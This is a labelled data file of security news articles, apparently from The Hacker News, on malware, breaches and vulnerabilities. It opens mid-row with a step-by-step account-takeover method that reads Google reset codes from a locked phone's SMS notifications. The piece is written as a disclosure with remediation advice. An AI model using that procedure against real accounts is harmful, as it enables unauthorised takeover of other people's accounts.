Attack Scenario: In today's high tech era, it is not difficult to know someone's (friend, colleague, manager, relative etc.) Gmail Id, mobile number; and match if the mobile number is mapped with Google account.

An attacker on knowing the Gmail Id, phone number of a victim user and having access/reachability/visibility to the victim user's mobile device (even in Security Locked Mode) can initiate a request for verification code to be sent on the mobile number and can read the code popping up in the notification pane. The same can be punched-in online on Google recovery page to reset the victim's password and compromise the Google account and access the account recovery option and by entering the phone number can read the verification code and reset victim's account password and compromise the account.

Following screenshots revealing how a locked phone receives and displays the verification code in SMS notification.
Wait, if you could not read the 6 digits verification code in first shot then you can send the request again. Google does not take care to send random code for multiple tries.

E.g. When tested on SAMSUNG android phones a user even after setting the pattern to lock the screen is vulnerable to this attack. So the root cause being the SMS content displayed in the notification pane of locked android mobile and the real concern becomes, is it really necessary to display the SMS contents as notification?

Attacker on reading the verification code can reset the password of the victim account by entering the verification code and the new desired password.
The android 4.1 and above seems to have implemented the controls and thus are no more showcase this issue. But if the phone is without any security lock then it is still vulnerable.

If you are an android user and having a Gmail account, just have a look at the security options on your phone. Drop a line with the details of brand and OS version if you observe any phones are vulnerable to this issue.

The second issue is as discussed in section 2.

2. Security Issue with Google – account verification code

The above discussed scenario and overall severity level could have been minimized with a complex verification code.

As Google is sending 6 digits verification code which is very simple and easy to read and remember. It takes just 2 seconds for malicious user to read the verification code receiving in SMS on a locked phone.

If the verification code is a combination of alphanumeric characters with the length of more than 8 characters (10 is better), it will become difficult to read the code / remember it.

Solution to the problem:
Just displaying a notification of SMS being received and not showing the actual content of SMS on the home screen of a locked android mobile phone can achieve the best remediation of this issue. This behavior should be implemented for unlocked as well as locked phones.

Also, Google can use more complex verification code by combination of alphanumeric and increased length.

Considering the ease of usability if Google cannot change the complexity of verification code then at least they can generate random codes on each single request.

Stay tuned with us on Facebook Page or Twitter.

",Vulnerability
"Pony Botnet steals $220,000 from multiple Digital Wallets",https://thehackernews.com/2014/02/pony-botnet-steals-220000-from-multiple.html,"Are you the one of the Digital Currency Holder? PONY is after You.

A Group of cyber criminals has used hundreds of thousands of infected computers of the digital currency holders to filch approximately $220,000 worth of Bitcoins and other virtual currencies.

The researchers at the security firm, Trustwave have uncovered the Bitcoin Heist that was accomplished by the computers infected with a new class of malware that has been dubbed as 'Pony', a very powerful type of Spying Keylogger Malware with very dangerous features that was last time found two months ago.

Pony, for those who have not yet heard about it, is a bot controller much like any other, with the capability to capture all kinds of confidential information and access passwords. It contains a control panel, user management, logging features, a database to manage all the data and, of course, the statistics. It can see the passwords and login credentials of infected users when they access applications and Internet sites.

The security firm has found that the botnet has infected over 700,000 accounts in four months of the period, between September 2013 and mid-January 2014, and allowed criminals to control those accounts.

""Not only did this Pony botnet steal credentials for approximately 700,000 accounts, it's also more advanced and collected approximately $220,000 worth, at the time of writing, of virtual currencies such as BitCoin (BTC), LiteCoin (LTC), FeatherCoin (FTC) and 27 others,"" reads the report.

In December, the same piece of malware infected a number of popular websites and services such as Facebook, Google, Yahoo, Twitter, LinkedIn, etc., by stealing a couple of million passwords, that provide them access to all those accounts.

Latest Pony attack
This Time the Pony botnet stole over 700,000 credentials, including 600,000 website login credentials, 100,000 email account credentials, 16,000 FTP account credentials and other Secure Shell account information.

""This instance of Pony compromised 85 wallets, a fairly low number compared to the number of compromised credentials. Despite the small number of wallets compromised, this is one of the larger caches of BitCoin wallets stolen from end-users.""

The Malware was in the wild when the virtual currency, such as Bitcoin value touched the sky, which was developed by cryptographic experts as a way to move money at a lower cost than traditional financial systems.

""Bitcoins are stored in virtual wallets, which are essentially pairs of private and public keys,"" the Trustwave researchers said, adding that ""whoever has those keys can take the currency, and stealing Bitcoins and exchanging them for another currency, even a regulated one such as US dollars, is much easier than stealing money from a bank.""

They said that cyber thieves with Bitcoins can use any number of trading websites, to get real cash while maintaining anonymity.

NOT just BITCOINS
Here, if you think that the botnet went after only the Bitcoin, then you are wrong. Currently, the Bitcoin value is swinging between $300 and $500. So, instead of sticking to only Bitcoin wallets, the Pony botnet looks for a list of virtual currencies including Anoncoin, BBQcoin, Bytecoin, Craftcoin, Devcoin, Digitalcoin, Fastcoin, Feathercoin, Florincoin, Franko, Freicoin, GoldCoin, I0coin, Infinitecoin, Ixcoin, Junkcoin, Litecoin, Luckycoin, Mincoin, Namecoin, NovaCoin, Phoenixcoin, PPCoin, Primecoin, Quarkcoin, Tagcoin, Terracoin, Worldcoin, Yacoin and Zetacoin.

If you are wondering that the attack was being shut down by some security companies, then you are guessing wrong, because the attackers themselves ""closed shop"" during January.

Researchers haven't explained any Malware removal mechanism, but in order to protect your virtual currency, you are advised to encrypt your wallets. Keep your virtual currency wallets safe!

In a separate news, you may also like to read, Worlds Largest Bitcoin Exchange Mt. Gox Shuts Down.

",Cyber_Attack
"Israeli Road Control System hacked, caused Traffic jam on Haifa Highway",https://thehackernews.com/2013/10/israeli-road-control-system-hacked.html,"Israel is considered one of the most advanced country in cyber security, but at the same time is a privileged target for hostile governments intent in sabotage and cyber espionage on his technology.

Yesterday, Cybersecurity experts revealed that a major artery in Israel's national road network located in the northern the city of Haifa suffered a cyber attack, that caused massive traffic congestion in the City.

Isreal military officials are aware of cyber threats that could hit the infrastructure of the country and they afraid the possible effect of a cyber attack on a large scale.

Israeli government websites suffer thousands of cyberattacks each day according Ofir Ben Avi, head of the government's website division. The Israel Electric Corp. confirmed that its servers register about 6,000 unique computer attacks every second.

In June, Prime Minister Benjamin Netanyahu stated that Iran militia, Hezbollah and Hamas have targeted in numerous occasions Israel's ""essential systems,"" including its water facilities, electric grid, trains and banks.
""Every sphere of civilian economic life, let's not even talk about our security, is a potential or actual cyber attack target,"" said Netanyahu.

Israel's military chief Lt. Gen. Benny Gantz made a high-profile speech recently outlining that within the greatest threats his country might face in the future there is the computer sabotage as a top concern. A sophisticated cyber attack could be used to shut down a banking system of Israel, the national electric grids or a defense system, this is a nightmare for the Defense.
Cybersecurity experts revealed to The Associated Press that a major artery in Israel's national road network located in the northern the city of Haifa suffered a cyber attack that has caused serious logistical problems and hundreds of thousands of dollars in damage.

The tunnel is a strategic thoroughfare in the third largest city of the country, and as a demonstration of its importance in the city is exploring the possibility to use the structure as a public shelter in case of emergency.
It seems that the attackers used a malware to hit the security camera apparatus in the Carmel Tunnel toll road in Sept. 8 and to gain its control.

""The attack caused an immediate 20-minute lockdown of the roadway. The next day, the expert said, it shut down the roadway again during morning rush hour. It remained shut for eight hours, causing massive congestion.""

The experts that have investigated on the incident exclude that the hypothesis of a state-sponsored attack because the malicious code used was not sophisticated enough to be the work of a hostile government, it is likely the involvement of a group of hacktivists.

Carmelton company that oversees the toll road, blamed a ""communication glitch"" for the incident, while Oren David, a manager of security firm RSA's anti-fraud unit, said that although he didn't have information about the tunnel incident similar attacks could represent a serious menace for population.

""Most of these systems are automated, especially as far as security is concerned. They're automated and they're remotely controlled, either over the Internet or otherwise, so they're vulnerable to cyberattack,"" ""among the top-targeted countries."" said David.

In reality Iranian hackers and other hostile entities have penetrated successfully Israeli systems, Israel has controlled the attacks to track back the hackers, profile their methods of attack and to conduct a disinformation campaign making available false information.

To improve security of critical infrastructure the Israeli civilian infrastructure, Israel's national electric company has recently launched a training program, jointly with cyber defense company CyberGym, to teach engineers and managers of critical plants to detect ongoing cyber attacks.

The attack scenario revealed portends to an escalation of attacks by hostile entities, whether they are cyber criminals, hacktivits or state-sponsored hackers, it's crucial for the Israeli government to invest in improvement of cyber capabilities for its survival.

",Cyber_Attack
Critical Magento SQL Injection Vulnerability Discovered – Patch Your Sites,https://thehackernews.com/2019/03/magento-website-security.html,"If your online e-commerce business is running over the Magento platform, you must pay attention to this information.

Magento yesterday released new versions of its content management software to address a total of 37 newly-discovered security vulnerabilities.

Owned by Adobe since mid-2018, Magento is one of the most popular content management system (CMS) platform that powers 28% of websites across the Internet with more than 250,000 merchants using the open source e-commerce platform.

Though most of the reported issues could only be exploited by authenticated users, one of the most severe flaws in Magento is an SQL Injection vulnerability which can be exploited by unauthenticated, remote attackers.

The flaw, which does not have a CVE ID but internally labeled ""PRODSECBUG-2198,"" could allow remote hackers to steal sensitive information from the databases of vulnerable e-commerce websites, including admin sessions or password hashes that could grant hackers access to the admin's dashboard.

Affected Magento versions include:

Magento Open Source prior to 1.9.4.1
Magento Commerce prior to 1.14.4.1
Magento Commerce 2.1 prior to 2.1.17
Magento Commerce 2.2 prior to 2.2.8
Magento Commerce 2.3 prior to 2.3.1

Since Magento sites not only store users' information but also contain order history and financial information of their customers, the flaw could lead to catastrophic online attacks.

Given the sensitive nature of the data Magento e-commerce websites handle on a daily basis as well as the risk the SQL vulnerability represents, Magento developers have decided not to release technical details of the flaw.

Besides the SQLi vulnerability, Magento has also patched cross-site request forgery (CSRF), cross-site scripting (XSS), remote code execution (RCE) and other flaws, but exploitation of the majority of those flaws require attackers to be authenticated on the site with some level of privileges.

Online store owners are urged to upgrade their e-commerce websites to the recently patched versions as soon as possible before hackers started exploiting the flaw to compromise your websites and steal payment card details of your customers.

",Vulnerability
Kaspersky Labs uncover 'Gauss' Espionage Malware hits Middle East banks,https://thehackernews.com/2012/08/kaspersky-labs-uncover-gauss-espionage.html,"A new cyber surveillance virus has been found in the Middle East that can spy on banking transactions and steal login and passwords, according Kaspersky Lab, a leading computer security firm.

After Stuxnet, Duqu, and Flame, this one seems to mainly spy on computer users in Lebanon. It's been dubbed Gauss (although Germanic-linguistic purists will no doubt be complaining that it should be written Gauß).

Gauss is a complex cyber-espionage toolkit, highly modular and supports new functions which can be deployed remotely by the operators in the form of plugins. The currently known plugins perform the following functions:
Intercept browser cookies and passwords.
Harvest and send system configuration data to attackers.
Infect USB sticks with a data stealing module.
List the content of the system drives and folders
Steal credentials for various banking systems in the Middle East.
Hijack account information for social network, email and IM accounts.
The researchers at Russia-based Kasperky Labs who discovered it have christened it Gauss, and say it is aimed at pinching the pocketbooks of its intended targets, whoever they may be, by stealing account information of customers of certain banks in Lebanon, but also customers of Citibank and of PayPal.

An analysis of the new malicious software shows it was designed to steal data from Lebanese lenders including the Bank of Beirut (BOB), BomBank and Byblos Bank, Kaspersky said. Gauss has infected 2,500 machines, while Flame hit about 700.

Two groups Russian-based Kaspersky Labs, which first published information on Gauss and Flame, and the Hungarian research lab Crysys are detecting the malware by looking for a font that shows up on infected machines called Palida Narrow.Roel Schouwenberg, senior researcher at Kaspersky Labs, said that researchers still don't know why Gauss's creators included the font file.

Have a look on relationship between Flame, Gauss, Stuxnet and Duqu:

One of the firm's top researchers said Gauss also contains a module known as ""Godel"" that may include a Stuxnet-like weapon for attacking industrial control systems. Kaspersky researchers said Gauss contained a ""warhead"" that seeks a very specific computer system with no Internet connection and installs itself only if it finds one.

*Image credit Kaspersky Lab

",Malware
Popular Video Editing Software Website Hacked to Spread Banking Trojan,https://thehackernews.com/2019/04/free-video-editing-malware.html,"If you have downloaded the VSDC multimedia editing software between late February to late March this year, there are high chances that your computer has been infected with a banking trojan and an information stealer.

The official website of the VSDC software — one of the most popular, free video editing and converting app with over 1.3 million monthly visitors — was hacked, unfortunately once again.

According to a new report Dr. Web published today and shared with The Hacker News, hackers hijacked the VSDC website and replaced its software download links leading to malware versions, tricking visitors into installing dangerous Win32.Bolik.2 banking trojan and KPOT stealer.

Even more ironic is that despite being so popular among the multimedia editors, the VSDC website is running and offering software downloads over an insecure HTTP connection.

Though it's unclear how hackers this time managed to hijack the website, researchers revealed that the breach was reportedly never intended to infect all users, unlike last year attack.

Instead, Dr.Web researchers found a malicious JavaScript code on the VSDC website that was designed to check visitor's geolocation and replace download links only for visitors from the UK, USA, Canada, and Australia.

Insecure VSDC Website Was Distributing Malware for a Month

The malicious code planted on the website went unnoticed for almost a month—between 21 February 2019 and 23 March 2019—until researcher discovered it and notified VSDC developers of the threat.
Targeted users were served with a dangerous banking trojan designed to perform ""web injections, traffic intercepts, key-logging and stealing information from different bank-client systems.""

Moreover, the attackers changed the Win32.Bolik.2 trojan to KPOT Stealer, a variant of Trojan.PWS.Stealer, on March 22, which steals information from web browsers, Microsoft accounts, several messenger services and some other programs.

According to the researchers, at least 565 visitors downloaded VSDC software infected with the banking trojan, while 83 users has had their systems infected with the information stealer.

VSDC site has been hacked several times in the past years. Just last year, unknown hackers managed to gain administrative access to its website and replaced the download links, eventually its visitors' computers with the AZORult Stealer, X-Key Keylogger and the DarkVNC backdoor.

What to Do If You're a Victim?

It should be noted that just installing the clean version of the software update over the malicious package would not remove the malware code from the infected systems.

So, in case you had downloaded the software between that period, you should immediately install antivirus software, with the latest up-to-date definitions, and scan your system for malware.

Beside this, affected users are also recommended to change their passwords for important social media and banking websites after cleaning the systems or from a separate device.

",Cyber_Attack
Satellite Communication (SATCOM) Devices Vulnerable to Hackers,https://thehackernews.com/2014/04/satellite-communication-satcom-devices.html,"The growing threat of cyber-attacks and network hacking has reached the satellite-space sector, posing a growing challenge to the satellite operators. Because the satellite system are the critical components for the Nation to a modern military, they have become an attractive target of cyber attacks.

A security firm uncovered a number of critical vulnerabilities, including hardcoded credentials, undocumented and insecure protocols, and backdoors in the widely used satellite communications (SATCOM) terminals, which are often used by the military, government and industrial sectors.

By exploiting these vulnerabilities an attacker could intercept, manipulate, block communications, and in some circumstances, could remotely take control of the physical devices used in the mission-critical satellite communication (SATCOM).

Once the attacker gained the access of the physical devices used to communicate with satellites orbiting in space, he can completely disrupt military operations and flight-safety communications of mission-critical satellite communications (SATCOM), researchers have warned in a 25-page white paper titled ""A Wake-up Call for SATCOM Security,"" published Thursday by the Security consultancy IOActive.

Thousands of SATCOM devices found to be vulnerable and even if one of the affected devices compromised, the entire SATCOM infrastructure could be at risk, including Ships, aircraft, military personnel, emergency services, media services, and industrial facilities (oil rigs, gas pipelines, water treatment plants, wind turbines, substations, etc.).

IOActive reported various vulnerabilities in Tactical Radios & Networking Terminals, including:
Harris BGAN Terminals
Hughes BGAN M2M Terminals
Cobham BGAN Terminals
Marine VSAT and FB Terminals
Cobham AVIATOR
Cobham GMDSS Terminals
According to the Guardian, British manufacturers Cobham and Inmarsat, as well as Harris Corporation, Hughes and Iridium in the US made such satellite systems that were easily hackable, and any foreign government or agency can track and target the location of units and soldiers.

According to the researchers, Harris RF-7800B terminals that offers a high-performance satellite solution for voice and data connectivity to military is also vulnerable to cyber attacks and successful exploitation could allow an attacker to install malicious firmware or execute arbitrary code.

Reported vulnerabilities also affect the US military aircraft equipped with the Cobham AVIATO, which is designed to meet the satellite communications needs of aircraft and a malicious attacker could disrupt flight communication.

IOActive is currently working with government CERT Coordination Center to alert each manufacturer to the security holes they discovered. ""Until patches are available, vendors should provide official workarounds in addition to recommended configurations in order to minimize the risk these vulnerabilities pose."" IOActive advised.

",Cyber_Attack
Emotet Malware Now Hacks Nearby Wi-Fi Networks to Infect New Victims,https://thehackernews.com/2020/02/emotet-malware-wifi-hacking.html,"Emotet, the notorious trojan behind a number of botnet-driven spam campaigns and ransomware attacks, has found a new attack vector: using already infected devices to identify new victims that are connected to nearby Wi-Fi networks.

According to researchers at Binary Defense, the newly discovered Emotet sample leverages a ""Wi-Fi spreader"" module to scan Wi-Fi networks, and then attempts to infect devices that are connected to them.

The cybersecurity firm said the Wi-Fi spreader has a timestamp of April 16, 2018, indicating the spreading behavior has been running ""unnoticed"" for close to two years until it was detected for the first time last month.

The development marks an escalation of Emotet's capabilities, as networks in close physical proximity to the original victim are now susceptible to infection.

How Does Emotet's Wi-Fi Spreader Module Work?

The updated version of the malware works by leveraging an already compromised host to list all the nearby Wi-Fi networks. To do so, it makes use of the wlanAPI interface to extract the SSID, signal strength, the authentication method (WPA, WPA2, or WEP), and mode of encryption used to secure passwords.

On obtaining the information for each network this way, the worm attempts to connect to the networks by performing a brute-force attack using passwords obtained from one of two internal password lists. Provided the connection fails, it moves to the next password in the list. It's not immediately clear how this list of passwords was put together.


But if the operation succeeds, the malware connects the compromised system on the newly-accessed network and begins enumerating all non-hidden shares. It then carries out a second round of brute-force attack to guess the usernames and passwords of all users connected to the network resource.

After having successfully brute-forced users and their passwords, the worm moves to the next phase by installing malicious payloads — called ""service.exe"" — on the newly infected remote systems. To cloak its behavior, the payload is installed as a Windows Defender System Service (WinDefService).

In addition to communicating with a command-and-control (C2) server, the service acts as a dropper and executes the Emotet binary on the infected host.

The fact that Emotet can jump from one Wi-Fi network to the other puts onus on companies to secure their networks with strong passwords to prevent unauthorized access. The malware can also be detected by actively monitoring processes running from temporary folders and user profile application data folders.

Emotet: From Banking Trojan to Malware Loader

Emotet, which was first identified in 2014, has morphed from its original roots as a banking Trojan to a ""Swiss Army knife"" that can serve as a downloader, information stealer, and spambot depending on how it's deployed.

Over the years, it has also been an effective delivery mechanism for ransomware. Lake City's IT network was crippled last June after an employee inadvertently opened a suspicious email that downloaded the Emotet Trojan, which in turn downloaded TrickBot trojan and Ryuk ransomware.

Although Emotet-driven campaigns largely disappeared throughout the summer of 2019, it made a comeback in September via ""geographically-targeted emails with local-language lures and brands, often financial in theme, and using malicious document attachments or links to similar documents, which, when users enabled macros, installed Emotet.""

""With this newly discovered loader-type used by Emotet, a new threat vector is introduced to Emotet's capabilities,"" Binary Defense researchers concluded. ""Emotet can use this loader-type to spread through nearby wireless networks if the networks use insecure passwords.""

",Cyber_Attack
NSA-linked Spying Malware Infected Top German Official's Computer,https://thehackernews.com/2015/10/nsa-spying-malware-hack.html,"The German authorities have initiated a further investigation into espionage by the United States secret service NSA and British intelligence agency GCHQ after...

...the head of the German Federal Chancellery unit had his private laptop infected.

According to a recent report published by Der Spiegel, the laptop of the Chancellery division leader was infected with Regin – a highly advanced espionage malware program that has been linked to the National Security Agency (NSA) and its UK counterpart, the Government Communications Headquarters (GCHQ).

As The Hacker News reported almost a year ago, Regin is one of the most highly advanced, sophisticated malware programs that was used to spy on a wide range of international targets including:
Internet service providers (ISPs)
Telecommunications backbone operators
Energy firms
Airlines
Government entities
Research institutes
Other high-profile individuals
…around the world since at least 2008.

Regin has dozens of modules that enable a range of functionality, including:
Capturing screenshots
Seizing control of an infected computer's mouse
Stealing passwords
Monitoring network traffic
Recovering deleted files
Data exfiltration
In-depth technical analysis showed that Regin bears some resemblance to the infamous espionage trojans Flame and Duqu, as well as Stuxnet worm that the US and Israel reportedly used to sabotage Iran's nuclear program.

Files leaked by former NSA contractor Edward Snowden have further linked Regin to the NSA, specifically to a keylogging plugin dubbed QWERTY that was used in the NSA's WarriorPride framework.

The bottom line:

Regin and WARRIORPRIDE are one and the same thing.

Recent Der Spiegel reports that Regin had been discovered infecting the laptop of a head of the Federal Chancellery Unit – the federal agency that serves the office of the Chancellor (presently Mrs Angela Merkel) – has once again strained relationships between Germany and the United States.

Previously the relations between the two got deteriorated when Snowden documents revealed that the NSA agents tapped into Angela Merkel's mobile phone. The U.S. Prosecutors in Germany investigated that claim but dropped later in June due to insufficient evidence.

The Officials have initiated an investigation into the latest discovery and aren't jumping to any conclusions yet, but it is easy to guess where their suspicions lie.

If the evidence holds up, and if Regin is indeed WARRIORPRIDE, it could worsen the relationships that have already turned a bit sour. However, since the tool is used by the five-eyes of different countries, identifying the culprit might prove difficult.

",Malware
Hackers Cause World's First Power Outage with Malware,https://thehackernews.com/2016/01/Ukraine-power-system-hacked.html,"SCADA system has always been an interesting target for cyber crooks, given the success of Stuxnet malware that was developed by the US and Israeli together to sabotage the Iranian nuclear facilities a few years ago, and ""Havex"" that previously targeted organizations in the energy sector.

Now once again, hackers have used highly destructive malware and infected, at least, three regional power authorities in Ukraine, causing blackouts across the Ivano-Frankivsk region of Ukraine on 23rd December.

The energy ministry confirmed it was investigating claims a cyber attack disrupted local energy provider Prykarpattyaoblenergo, causing the power outage that left half of the homes in Ivano-Frankivsk without electricity just before Christmas.

According to a Ukrainian news service TSN, the outage was the result of nasty malware that disconnected electrical substations.

Related Read: Dragonfly Russian Hackers Target 1000 Western Energy Firms.

First Malware to Cause Power Outage

On Monday, researchers from antivirus provider ESET confirmed that multiple power authorities in Ukraine were infected by ""BlackEnergy"" trojan.

BlackEnergy Trojan was first discovered in 2007 as a relatively simple tool to conduct Distributed Denial of Service (DDoS) attacks but was updated two years ago to add a host of new features, including the ability to render infected computers unbootable.

The malware was launched by ""Russian security services"" with it being used against industrial control systems and politically sensitive targets, the SBU state intelligence service said in a statement on Monday.

According to ESET, the malware was recently updated again to add a new component called KillDisk and a backdoored secure shell (SSH) utility that gives hackers permanent access to infected computers.

Also Read: This 'Killer USB' can make your Computer explode

The KillDisk module enables the BlackEnergy malware to destroy critical parts of a computer hard drive and to sabotage industrial control systems, the same used in attacks against Ukrainian news media companies and the electrical power industry.
""The first known case where the KillDisk component of BlackEnergy was used was documented by CERT-UA in November 2015,"" Anton Cherepanov of ESET wrote in a blog post. ""In that instance, a number of news media companies were attacked at the time of the 2015 Ukrainian local elections. The report claims that a large number of video materials and various documents were destroyed as a result of the attack.""

How Did Hackers Cause Blackouts?

Researchers said hackers had used backdoors to spread the KillDisk wiper module through booby-trapped macro functions embedded in Microsoft Office documents across the Ukrainian power authorities.

Therefore, it is believed that the initial point of infection with BlackEnergy caused after employees opened Microsoft Office files containing malicious macros.

Related Read: 'Regin' Spying Malware Targeted Govts, Infrastructures for Years.

It is really disturbing that industrial control systems used to supply power to Millions of homes could be infected using such a simple social-engineering trick.

Moreover, the most concerning part is that the BlackEnergy malware is now being used to create power failures that can even have life-and-death consequences for large numbers of people.

Ukrainian authorities are investigating the hacking attack on its power grid. For more technical details about the latest BlackEnergy package, you can read on ESET blog.

",Cyber_Attack